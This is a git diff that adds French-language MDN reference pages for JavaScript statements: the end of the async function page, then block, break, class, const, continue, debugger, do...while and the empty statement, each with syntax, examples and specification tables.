+  // Démarre 2 tâches en parallèle et on attend que les deux soient finies
+  await Promise.all([
+      (async()=>console.log(await resolveAfter2Seconds()))(),
+      (async()=>console.log(await resolveAfter1Second()))()
+  ]);
+}
+
+// Cette fonction ne gère pas les erreurs
+// voir les avertissement ci-après !
+var parallelPromise = function() {
+  console.log('==Exécution parallèle avec Promise.then==');
+  resolveAfter2Seconds().then((message)=>console.log(message));
+  resolveAfter1Second().then((message)=>console.log(message));
+}
+
+sequentialStart(); // après 2 secondes, "lente" est affichée, après une
+                   // autre seconde, c'est "rapide" qui est affichée
+
+// on attend que l'étape précédente soit terminée
+setTimeout(concurrentStart, 4000); // 2s avant d'afficher "lente" puis "rapide"
+
+// on attend à nouveau
+setTimeout(concurrentPromise, 7000); // identique à concurrentStart
+
+// on attend à nouveau
+setTimeout(parallel, 10000); // réellement parallele : après 1 seconde,
+                             // affiche "rapide" et après une autre seconde
+                             // affiche "lente"
+
+// on attend à nouveau
+setTimeout(parallelPromise, 13000); // identique à parallel
+
+ +
+

await et l'exécution parallèle

+ +

Dans sequentialStart, l'exécution est arrêtée pendant deux secondes avant le premier await puis encore une autre seconde avant le deuxième await. Le deuxième minuteur n'est pas créé tant que le premier n'est pas écoulé. Le code s'exécute donc au moins en 3 secondes.

+ +

Avec concurrentStart, les deux minuteurs sont créés puis attendus derrière un await Les minuteurs sont exécutés de façon concurrente. L'ensemble du code se termine donc en au moins 2 secondes plutôt qu'en 3 secondes.
+ Toutefois, les appels utilisant  await sont exécutés séquentiellement et la deuxième instruction avec await attendra que la première ait été  traitée. Le minuteur le plus rapide est donc créé juste après le premier.

+ +

Si on souhaite avoir deux tâches qui s'exécutent réellement en parallèle, on pourra utiliser  await Promise.all([job1(), job2()]) comme illustré ci-avant avec parallel.

+
+ +
+

async/await, Promise.prototype.then() et la gestion des erreurs

+ +

La plupart des fonctions asynchrones peuvent être écrites avec des promesses. Toutefois, les fonctions asynchrones qui utilisent async se prêtent mieux à la gestion des erreurs.

+ +

concurrentStart et concurrentPromise sont fonctionnellement équivalentes.
+ Avec concurrentStart, si l'un des deux appels échoue, l'exception sera immédiatement interceptée et l'exécution de la fonction asynchrone sera interrompue. L'erreur sera propagée à la fonction appelante via la valeur de retour qui est une promesse implicite.
+ Pour obtenir les mêmes sécurités avec les promesses, il faut s'assurer que la fonction renvoie une promesse qui gère ce cas d'échec. Pour concurrentPromise cela signifie qu'il faut renvoyer la promesse de Promise.all([]).then().

+ +

Bien entendu, il est toutefois possible d'avoir des fonctions asynchrones (avec async) qui gobent des erreurs involontairement. Si on considère la fonction parallel ci-avant, s'il n'y avait eu aucun await ou return pour le résultat de Promise.all([]), aucune erreur n'aurait été propagée.
+ Bien que l'exemple parallelPromise paraisse simple, il ne gère aucune erreur du tout. Il aurait fallu utiliser un return Promise.all([]) analogue.

+
+ +

Réécrire une chaîne de promesses avec une fonction asynchrone

+ +

Lorsqu'on utilise une API qui renvoie des promesses ({{jsxref("Promise")}}), on construit une chaîne de promesses et on divise la fonction en de nombreuses branches :

+ +
function getProcessedData(url) {
+  return downloadData(url) // renvoie une promesse
+    .catch(e => {
+      return downloadFallbackData(url);  // renvoie une promesse
+    })
+    .then(v => {
+      return processDataInWorker(v); // renvoie une promesse
+    });
+}
+
+ +

Cela peut être réécrit avec une seule fonction asynchrone, de la façon suivante :

+ +
async function getProcessedData(url) {
+  let v;
+  try {
+    v = await downloadData(url);
+  } catch(e) {
+    v = await downloadFallbackData(url);
+  }
+  return processDataInWorker(v);
+}
+
+ +

On voit dans l'exemple précédent qu'il n'y a pas de await pour l'instruction return car la valeur de retour d'une fonction asynchrone est implicitement enveloppée dans un appel à {{jsxref("Promise.resolve")}}.

+ +

Différences entre return et return await

+ +

La conversion automatique des valeurs en promesses avec {{jsxref("Promise.resolve")}} ne signifie pas que return await valeurPromesse sera équivalent à return valeurPromesse.

+ +

Si on reprend l'exemple précédent et qu'on le réécrit avec return await et qu'on intercepte une éventuelle erreur de la promesse :

+ +
async function getProcessedData(url) {
+  let v;
+  try {
+     v = await downloadData(url);
+  } catch(e) {
+    v = await downloadFallbackData(url);
+  }
+  try {
+    return await processDataInWorker(v); // et non plus simplement return
+  } catch(e) {
+    return null;
+  }
+}
+ +

Si on avait simplement écrit return processDataInWorker(v);, la promesse renvoyée par la fonction aurait déclenché une exception plutôt que d'être résolue avec la valeur null.

+ +

Lorsqu'on utilise return toto;, la valeur toto sera immédiatement renvoyée (sans lever d'exception, quel que soit le cas), tandis que return await toto; attendra la résolution de toto ou son échec et lèvera une exception si besoin avant de parvenir à renvoyer une valeur.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}{{Spec2('ESDraft')}}
{{SpecName('ES8', '#sec-async-function-definitions', 'async function')}}{{Spec2('ES8')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.async_function")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/statements/block/index.html b/files/fr/web/javascript/reference/statements/block/index.html new file mode 100644 index 0000000000..5ea869f037 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/block/index.html @@ -0,0 +1,148 @@ +--- +title: bloc +slug: Web/JavaScript/Reference/Instructions/bloc +tags: + - Instruction + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Statements/block +--- +
{{jsSidebar("Statements")}}
+ +

Une instruction de bloc est utilisée afin de grouper zéro ou plusieurs instructions. Le bloc est délimité par une paire d'accolades. On peut éventuellement « étiqueter » un bloc avec un label.

+ +
{{EmbedInteractiveExample("pages/js/statement-block.html")}}
+ + + +

Syntaxe

+ +

Instruction de bloc

+ +
{
+  instruction_1;
+  instruction_2;
+  ...
+  instruction_n;
+}
+
+ +

Instruction de bloc étiquetée

+ +
// ou, avec une étiquette :
+label {
+  instruction_1;
+  instruction_2;
+  instruction_n;
+}
+
+ +
+
instruction_1, instruction_2, instruction_n
+
Les instructions qu'on souhaite regrouper au sein du bloc.
+
label {{optional_inline}}
+
Une étiquette qui permet une identification visuelle de la cible d'une instruction break.
+
+ +

Description

+ +

Cette instruction est le plus souvent utilisée avec les instructions de contrôle (ex. {{jsxref("Instructions/if...else")}}, {{jsxref("Instructions/for")}}, {{jsxref("Instructions/while")}}). On verra ainsi :

+ +
while (x < 10) {
+  x++;
+}
+
+ +

On peut voir dans cet exemple que cette instruction se termine sans point-virgule.

+ +

L'instruction de bloc est souvent appelée instruction composée (compound statement) dans d'autres langages. En effet, elle permet d'utiliser plusieurs instructions là où JavaScript n'attend qu'une instruction. C'est une pratique courante que de combiner plusieurs instructions grâce aux blocs. À l'opposé, on peut utiliser une {{jsxref("Instructions/vide","instruction vide","",1)}} pour ne rien faire là où JavaScript attend une instruction.

+ +

Gestion des portées

+ +

Avec var

+ +

Important : Le bloc n'introduit aucune portée pour les variables déclarées avec var ou pour les déclarations de fonction. Les variables introduites dans un bloc font partie de la portée de la fonction ou du script, elles persisteront donc en dehors du bloc. Autrement dit, aucune portée n'est introduite par les blocs. Bien qu'il soit tout à fait possible d'utiliser des blocs hors de tout contexte, il est fortement déconseillé de coder de cette façon. En effet, les blocs ne se comportent pas comme d'autres langages tels que C ou Java et il pourrait être surprenant de lire un tel code. Par exemple :

+ +
var x = 1;
+{
+  var x = 2;
+}
+console.log(x); // affiche 2
+
+ +

Cela affiche 2 dans la console car l'instruction var x au sein du bloc partage la même portée que l'instruction var x précédente en dehors du bloc. Un code C ou Java équivalent aurait produit 1.

+ +

Avec let et const

+ +

En revanche, les identifiants déclarés avec let et const appartiennent à la portée du bloc : 

+ +
let x = 1;
+{
+  let x = 2;
+}
+console.log(x); // affiche 1
+
+ +

On voit ici que l'instruction x = 2 est limitée à la portée du bloc dans laquelle elle est présente.

+ +

On a le même résultat avec const.

+ +
const c = 1;
+{
+  const c = 2;
+}
+console.log(c); // affiche 1, il n'y a pas de SyntaxError
+
+ +

On notera que l'instruction const c = 2 ne lève pas d'exception SyntaxError car on a une seule déclaration de c pour ce bloc.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-block', 'instruction de bloc')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-block', 'instruction de bloc')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-12.1', 'instruction de bloc')}}{{Spec2('ES5.1')}}
{{SpecName('ES3', '#sec-12.1', 'instruction de bloc')}}{{Spec2('ES3')}}
{{SpecName('ES1', '#sec-12.1', 'instruction de bloc')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.block")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/while", "while")}}
    • +
  • {{jsxref("Instructions/if...else", "if...else")}}
    • +
  • {{jsxref("Instructions/let", "let")}}
    • +
diff --git a/files/fr/web/javascript/reference/statements/break/index.html b/files/fr/web/javascript/reference/statements/break/index.html new file mode 100644 index 0000000000..bc3a1c12df --- /dev/null +++ b/files/fr/web/javascript/reference/statements/break/index.html @@ -0,0 +1,156 @@ +--- +title: break +slug: Web/JavaScript/Reference/Instructions/break +tags: + - JavaScript + - Reference + - Statement +translation_of: Web/JavaScript/Reference/Statements/break +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction break permet de terminer la boucle en cours ou l'instruction {{jsxref("Instructions/switch", "switch")}} ou {{jsxref("Instructions/label", "label")}} en cours et de passer le contrôle du programme à l'instruction suivant l'instruction terminée.

+ +
{{EmbedInteractiveExample("pages/js/statement-break.html")}}
+ + + +

Syntaxe

+ +
break [label];
+ +
+
label {{optional_inline}}
+
Un identifiant optionnel associé avec l'étiquette (label) de l'instruction. Si l'instruction à terminer n'est pas une boucle ou une instruction {{jsxref("Instructions/switch", "switch")}}, ce paramètre est nécessaire.
+
+ +

Description

+ +

L'instruction break peut être utilisée avec une étiquette (label) optionnelle qui permet d'interrompre une instruction étiquetée. L'instruction break doit être imbriquée au sein de l'instruction référencée. L'instruction étiquetée peut correspondre à n'importe quel instruction de {{jsxref("Instructions/bloc", "bloc","",1)}} ; il n'est pas nécessaire qu'elle soit précédée par une instruction de boucle.

+ +

Une instruction break, suivie ou non d'une étiquette, ne peut pas être utilisée dans le corps d'une fonction appartenant elle-même à une boucle, à une instruction {{jsxref("Instructions/switch")}} ou à une instruction label.

+ +

Exemples

+ +

Exemple simple utilisant break

+ +

La fonction qui suit utilise une instruction break qui interrompt la boucle {{jsxref("Instructions/while", "while")}} lorsque i vaut 3, grâce à l'instruction qui suit, la fonction renvoie 3 * x.

+ +
function testBreak(x) {
+   var i = 0;
+
+   while (i < 6) {
+      if (i == 3) {
+         break;
+      }
+      i += 1;
+   }
+   return i * x;
+}
+ +

Utiliser break avec les labels

+ +

Dans le code suivant, on utilise les instructions break avec des blocs étiquetés. Une instruction break doit être présente à l'intérieur du bloc auquel elle fait référence. Ici, on voit que bloc_interne est compris dans bloc_externe.

+ +
bloc_externe: {
+
+  bloc_interne: {
+    console.log ('1');
+    break bloc_externe;  // interrompt bloc_externe ET bloc_interne
+    console.log (':-('); // ignoré
+  }
+
+  console.log ('2');     // ignoré
+}
+
+ +

Dans le code qui suit, on utilise également des instructions break avec des blocs étiquetés mais on obtient une exception SyntaxError car l'instruction break au sein de bloc_1 référence bloc_2, or bloc_1 n'est pas compris dans bloc_2 :

+ +
bloc_1: {
+  console.log ('1');
+  break bloc_2;  // SyntaxError: label not found
+}
+
+bloc_2: {
+  console.log ('2');
+}
+
+ +

Utiliser break dans des fonctions imbriquées dans des boucles

+ +

Dans le cas d'une fonction imbriquée dans une boucle while :

+ +
function testBreak(x){
+  var i = 0;
+  while (i < 6) {
+    if (i === 3) {
+      (function() {
+        break;
+      })();
+    }
+    i += 1;
+  }
+  return i * x;
+}
+
+testBreak(1); // SyntaxError: Illegal break statement
+ +

Dans le cas d'une fonction imbriquée dans une instruction label :

+ +
bloc_1: {
+  console.log('1');
+  (function() {
+    break bloc_1; // SyntaxError: Undefined label 'bloc_1'
+  })();
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Version non étiquetée.
{{SpecName('ES3')}}{{Spec2('ES3')}}Version étiquetée ajoutée.
{{SpecName('ES5.1', '#sec-12.8', 'instruction break')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-break-statement', 'instruction break')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-break-statement', 'Break statement')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.break")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/continue", "continue")}}
    • +
  • {{jsxref("Instructions/label", "label")}}
    • +
  • {{jsxref("Instructions/switch", "switch")}}
    • +
diff --git a/files/fr/web/javascript/reference/statements/class/index.html b/files/fr/web/javascript/reference/statements/class/index.html new file mode 100644 index 0000000000..3fbbc7cb28 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/class/index.html @@ -0,0 +1,114 @@ +--- +title: class +slug: Web/JavaScript/Reference/Instructions/class +tags: + - Classes + - ECMAScript 2015 + - Instruction + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Statements/class +--- +
{{jsSidebar("Statements")}}
+ +

La déclaration class crée une nouvelle classe avec le nom fourni en utilisant l'héritage à base de prototypes pour émuler le fonctionnement de classe.

+ +
{{EmbedInteractiveExample("pages/js/statement-class.html")}}
+ + + +

Il est aussi possible de définir une classe avec une {{jsxref("Opérateurs/class", "expression class","",1)}}.

+ +

Syntaxe

+ +
class nom [extends]{
+  // corps de la classe
+}
+
+ +

Description

+ +

Les déclarations qui composent le corps de la classe sont exécutées en mode strict. La propriété du constructeur est optionnelle.

+ +

Les déclarations utilisées dans les classes ne sont pas remontées (hoisted) (à la différence des déclarations de fonctions).

+ +

Exemples

+ +

Déclarer une classe simple

+ +

Dans l'exemple qui suit, on définit une classe Polygone pour laquelle on crée un sous-classe Carré. On note ici que la méthode super() ne peut être utilisée qu'au sein d'un constructeur et doit être appelée avant l'utilisation du mot-clé this.

+ +
class Polygone {
+  constructor(hauteur, largeur) {
+    this.nom = 'Polygone';
+    this.hauteur = hauteur;
+    this.largeur = largeur;
+  }
+}
+
+class Carré extends Polygone {
+  constructor(longueur) {
+    super(longueur,longueur);
+    this.nom = 'Carré';
+  }
+}
+
+ +
+

Attention : Déclarer une classe deux fois lèvera une exception SyntaxError. De même, on ne pourra pas réutiliser un nom qui a déjà été utilisé dans une expression de classe.

+ +
// Deux déclarations avec le même nom
+class Toto {};
+class Toto {}; // Uncaught SyntaxError: Identifier 'Toto' has already been declared
+
+// Expression puis déclaration
+var Truc = class {};
+class Truc {}; // Uncaught TypeError: Identifier 'Truc' has already been declared
+
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-class-definitions', 'Définitions de classe')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ES2016')}} 
{{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ES2017')}} 
{{SpecName('ESDraft', '#sec-class-definitions', 'Définitions de classe')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.class")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/statements/const/index.html b/files/fr/web/javascript/reference/statements/const/index.html new file mode 100644 index 0000000000..1431986d29 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/const/index.html @@ -0,0 +1,144 @@ +--- +title: const +slug: Web/JavaScript/Reference/Instructions/const +tags: + - ECMAScript 2015 + - Instruction + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Statements/const +--- +
{{jsSidebar("Statements")}}
+ +

La déclaration const permet de créer une constante nommée accessible uniquement en lecture. Cela ne signifie pas que la valeur contenue est immuable, uniquement que l'identifiant ne peut pas être réaffecté. Autrement dit la valeur d'une constante ne peut pas être modifiée par des réaffectations ultérieures. Une constante ne peut pas être déclarée à nouveau.

+ +
{{EmbedInteractiveExample("pages/js/statement-const.html")}}
+ + + +

Syntaxe

+ +
const nom1 = valeur1 [, nom2 = valeur2 [, ... [, nomN = valeurN]]];
+ +
+
nomN
+
Le nom de la constante. Ce nom peut être n'importe quel identifiant valide.
+
valeurN
+
La valeur à associer à la constante. Cette valeur peut être n'importe quelle expression valide (éventuellement une expression de fonction).
+
+ +

Description

+ +

Cette déclaration permet de créer une constante qui peut être globale ou locale pour la fonction dans laquelle elle a été déclarée. Les constantes font partie de la portée du bloc (comme les variables définies avec let). À la différence des variables définies avec var, les constantes déclarées au niveau global ne sont pas des propriétés de l'objet global ({{domxref("window")}} dans le cas du navigateur). Il est nécessaire d'initialiser une constante lors de sa déclaration. Au sein d'une même portée, il est impossible d'avoir une constante qui partage le même nom qu'une variable ou qu'une fonction.

+ +

Attention, la déclaration const crée une référence en lecture seule vers une valeur. Cela ne signifie pas que la valeur référencée ne peut pas être modifiée ! Ainsi, si le contenu de la constante est un objet, l'objet lui-même pourra toujours être modifié.

+ +
+

Note : Les aspects liés à la zone morte temporelle de let s'appliquent également à const.

+
+ +

Exemples

+ +

Les instructions suivantes illustrent comment fonctionne cette déclaration. On pourra tester ces instructions dans la console afin d'observer le comportement obtenu :

+ +
// On définit ma_fav comme une constante
+// et on lui affecte la valeur 7
+// Généralement, par convention, les
+// constantes sont en majuscules
+const MA_FAV = 7;
+
+// Cette réaffectation lèvera une exception TypeError
+MA_FAV = 20;
+
+// affichera 7
+console.log("mon nombre favori est : " + MA_FAV);
+
+// toute tentative de redéclaration renvoie une erreur
+// SyntaxError: Identifier 'MY_FAV' has already been declared
+const MA_FAV = 20;
+
+// le nom ma_fav est réservé par la constante ci-dessus
+// cette déclaration échouera donc également
+var MA_FAV = 20;
+
+// cela renvoie également une erreur
+let MA_FAV = 20;
+
+
+// On notera l'importance de la portée de bloc :
+if (MA_FAV === 7) {
+  // cela fonctionne sans problème et crée
+  // une nouvelle variable dans cette portée
+  let MA_FAV =  20;
+
+  // Ici, MA_FAV vaut 20
+  console.log("mon nombre préféré est " + MA_FAV);
+
+  // L'instruction suivante est remontée dans le
+  // contexte global et provoque une erreur !
+  var MA_FAV = 20;
+
+}
+
+// MA_FAV vaut toujours 7
+console.log("mon nombre favori est " + MA_FAV);
+
+// const nécessite une initialisation
+const TOTO; // SyntaxError: Missing initializer in const
+
+// const fonctionne également avec les objects
+const monObjet = {"clé": "valeur"};
+
+// Écraser l'objet échouera comme précédemment
+monObjet = {"autreClé": "valeur"};
+
+// En revanche, les clés d'un objet ne sont pas
+// protégés et on peut donc, de façon valide, avoir
+monObjet.clé = "autreValeur";
+// On utilisera Object.freeze() afin qu'un objet soit immuable
+
+// Il en va de même avec les tableaux
+const mon_tableau = [];
+// On peut ajouter des éléments au tableau
+mon_tableau.push("A"); // ["A"]
+// Mais on ne peut pas affecter une nouvelle valeur
+mon_tableau = ["B"]; // lève une exception
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-let-and-const-declarations', 'Déclarations let et const')}}{{Spec2('ESDraft')}}Aucune modification.
{{SpecName('ES2015', '#sec-let-and-const-declarations', 'Déclarations let et const')}}{{Spec2('ES2015')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.const")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/statements/continue/index.html b/files/fr/web/javascript/reference/statements/continue/index.html new file mode 100644 index 0000000000..db9b22e973 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/continue/index.html @@ -0,0 +1,163 @@ +--- +title: continue +slug: Web/JavaScript/Reference/Instructions/continue +tags: + - JavaScript + - Reference + - Statement +translation_of: Web/JavaScript/Reference/Statements/continue +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction continue arrête l'exécution des instructions pour l'itération de la boucle courante ou de la boucle étiquetée. L'exécution est reprise à l'itération suivante.

+ +
{{EmbedInteractiveExample("pages/js/statement-continue.html")}}
+ + + +

Syntaxe

+ +
continue [ label ];
+ +
+
label
+
Paramètre optionnel. Un identifiant associé à l'étiquette (label) de l'instruction pour laquelle on souhaite finir l'itération en cours.
+
+ +

Description

+ +

Contrairement à {{jsxref("Instructions/break", "break")}}, continue ne termine pas la boucle complètement :

+ +
    +
  • au sein d'une boucle {{jsxref("Instructions/while", "while")}}, elle repart à la phase de la condition.
    • +
+ +
    +
  • au sein d'une boucle {{jsxref("Instructions/for", "for")}}, elle repart à l'expression de mise à jour de la boucle.
    • +
+ +

L'instruction continue peut éventuellement contenir une étiquette (label) qui permet de tirer parti des instructions de boucles étiquetées (plutôt que de ne traiter que la boucle courante). Dans le cas où l'étiquette est utilisée, il faut que l'instruction continue soit imbriquée dans l'instruction étiquetée.

+ +

Exemples

+ +

Utiliser continue avec while

+ +

L'instruction suivante illustre comment on peut utiliser continue au sein d'une boucle {{jsxref("Instructions/while", "while")}}, ici continue est utilisé lorsque i vaut 3. On a donc n qui prend les valeurs 1, 3, 7, et 12.

+ +
var i = 0;
+var n = 0;
+while (i < 5) {
+  i++;
+  if (i === 3) {
+    continue;
+  }
+  n += i;
+}
+
+ +

Utiliser continue avec une étiquette

+ +

Dans l'exemple suivant, on a une instruction étiquetée vérifIetJ qui contient une autre instruction étiquetée vérifJ. Si l'instruction continue est utilisée, le programme reprend l'exécution au début de l'instruction vérifJ. Chaque fois que continue utilisé, vérifJ réitère jusqu'à ce que sa condition renvoie false. Lorsque c'est le cas, le reste de l'instruction vérifIetJ est exécuté.

+ +

Si continue utilisait l'étiquette vérifIetJ, le programme continuerait au début de l'instruction vérifIetJ.

+ +

Voir aussi {{jsxref("Instructions/label", "label")}}.

+ +
var i = 0;
+var j = 8;
+
+vérifIetJ: while (i < 4) {
+  console.log("i : " + i);
+  i += 1;
+
+  vérifJ: while (j > 4) {
+    console.log("j : "+ j);
+    j -= 1;
+    if ((j % 2) == 0){
+      continue vérifJ;
+    }
+    console.log(j + " est impaire.");
+   }
+   console.log("i = " + i);
+   console.log("j = " + j);
+}
+
+ +

En utilisant le fragment ci-avant, on aura le résultat suivant :

+ +
"i : 0"
+
+// début de vérifJ
+"j : 8"
+"7 est impair"
+"j : 7"
+"j : 6"
+"5 est impair."
+"j : 5"
+// fin de vérifJ
+
+"i = 1"
+"j = 4"
+
+"i : 1"
+"i = 2"
+"j = 4"
+
+"i : 2"
+"i = 3"
+"j = 4"
+
+"i : 3"
+"i = 4"
+"j = 4"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Pas de version étiquetée.
{{SpecName('ES3')}}{{Spec2('ES3')}}Ajout de la version étiquetée.
{{SpecName('ES5.1', '#sec-12.7', 'instruction continue')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-continue-statement', 'instruction continue')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-continue-statement', 'instruction continue')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.continue")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/break", "break")}}
    • +
  • {{jsxref("Instructions/label", "label")}}
    • +
diff --git a/files/fr/web/javascript/reference/statements/debugger/index.html b/files/fr/web/javascript/reference/statements/debugger/index.html new file mode 100644 index 0000000000..bd8f9f0689 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/debugger/index.html @@ -0,0 +1,79 @@ +--- +title: debugger +slug: Web/JavaScript/Reference/Instructions/debugger +tags: + - JavaScript + - Reference + - Statement +translation_of: Web/JavaScript/Reference/Statements/debugger +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction debugger permet de faire appel à un outil de débogage (qui peut par exemple permettre de placer un point d'arrêt). Si cette fonctionnalité de débogage n'est pas disponible, l'instruction n'aura aucun effet.

+ +

Syntaxe

+ +
debugger;
+ +

Exemples

+ +

Dans l'exemple qui suit, on utilise un code avec l'instruction debugger qui permet de démarrer un débogueur (s'il existe) lorsque la fonction est appelée :

+ +
function codeProbablementBogue() {
+    debugger;
+    // exécuter des instructions qu'on veut
+    // examiner, exécuter pas à pas etc.
+}
+ +

Lors que le débogueur est lancé, l'exécution est interrompue au niveau de l'instruction debugger. Cela agit comme un point d'arrêt dans le code du script :

+ +

Paused at a debugger statement.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-debugger-statement', 'Debugger statement')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-debugger-statement', 'instruction debugger')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-12.15', 'instruction debugger')}}{{Spec2('ES5.1')}}Définition initiale
{{SpecName('ES3', '#sec-7.5.3', 'instruction debugger')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-7.4.3', 'instruction debugger')}}{{Spec2('ES1')}}Uniquement mentionné comme mot-clé réservé.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.debugger")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/statements/do...while/index.html b/files/fr/web/javascript/reference/statements/do...while/index.html new file mode 100644 index 0000000000..444c82245d --- /dev/null +++ b/files/fr/web/javascript/reference/statements/do...while/index.html @@ -0,0 +1,91 @@ +--- +title: do...while +slug: Web/JavaScript/Reference/Instructions/do...while +tags: + - JavaScript + - Reference + - Statement +translation_of: Web/JavaScript/Reference/Statements/do...while +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction do...while crée une boucle qui exécute une instruction jusqu'à ce qu'une condition de test ne soit plus vérifiée. La condition est testée après que l'instruction soit exécutée, le bloc d'instructions défini dans la boucle est donc exécuté au moins une fois.

+ +
{{EmbedInteractiveExample("pages/js/statement-dowhile.html")}}
+ + + +

Syntaxe

+ +
do
+   instruction
+while (condition);
+
+ +
+
instruction
+
Une instruction exécutée au moins une fois et ré-exécutée chaque fois que la condition de test est évaluée à true. On peut exécuter plusieurs instructions au sein d'une boucle grâce à l'instruction {{jsxref("Instructions/block", "block")}} ({ ... }) qui permet de grouper différentes instructions en une seule.
+
+ +
+
condition
+
Une expression évaluée après chaque passage dans la boucle. Si l'évaluation de la condition donne true (la condition est vérifiée), instruction sera exécutée à nouveau. Lorsque condition donne false, le contrôle passe à l'instruction suivant la boucle do...while.
+
+ +

Exemples

+ +

Utiliser do...while

+ +

Dans l'exemple suivant, la boucle do...while est parcourue au moins une fois et répétée jusqu'à ce que i ne soit plus strictement inférieur à 5.

+ +
var i = 0;
+do {
+   i += 1;
+   console.log(i);
+} while (i < 5);
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2
{{SpecName('ES5.1', '#sec-12.6.1', 'instruction do-while')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-do-while-statement', 'instruction do-while')}}{{Spec2('ES6')}}Le point-virgule de fin est désormais optionnel.
{{SpecName('ESDraft', '#sec-do-while-statement', 'instruction do-while')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.do_while")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/while", "while")}}
    • +
  • {{jsxref("Instructions/for", "for")}}
    • +
diff --git a/files/fr/web/javascript/reference/statements/empty/index.html b/files/fr/web/javascript/reference/statements/empty/index.html new file mode 100644 index 0000000000..de3761892a --- /dev/null +++ b/files/fr/web/javascript/reference/statements/empty/index.html @@ -0,0 +1,108 @@ +--- +title: vide +slug: Web/JavaScript/Reference/Instructions/Vide +tags: + - Instruction + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Statements/Empty +--- +
{{jsSidebar("Statements")}}
+ +

Une instruction vide est utilisée pour ne fournir aucune instruction là où JavaScript en attendrait une.

+ +
{{EmbedInteractiveExample("pages/js/statement-empty.html")}}
+ + + +

Syntaxe

+ +
;
+
+ +

Description

+ +

L'instruction vide est représentée par un point-virgule (;) qui indique qu'il n'y a aucune instruction à exécuter, même si JavaScript requiert une instruction à cet emplacement. Le comportement réciproque, où on souhaite exécuter plusieurs instructions là où JavaScript en attend une est possible grâce à l'instruction bloc qui permet de combiner plusieurs instructions en une seule.

+ +

Exemples

+ +

L'instruction vide peut être utilisée dans les boucles. Par exemple, ici on a un corps de boucle totalement vide :

+ +
var arr = [1, 2, 3];
+
+// Affecter 0 pour toutes les valeurs du tableau
+for (i = 0; i < arr.length; arr[i++] = 0) /* instruction vide */ ;
+
+console.log(arr)
+// [0, 0, 0]
+
+ +
+

Note : Cela peut être raisonnable que de commenter l'utilisation d'une instruction vide pour la rendre visible et l'expliciter. Par exemple, dans le code qui suit, le point-virgule ne semble pas intentionnel :

+
+ +
if (condition);  // Attention, ce "if" ne fait rien !
+   finDuMonde()  // Cette méthode est donc toujours lancée !!!
+
+ +

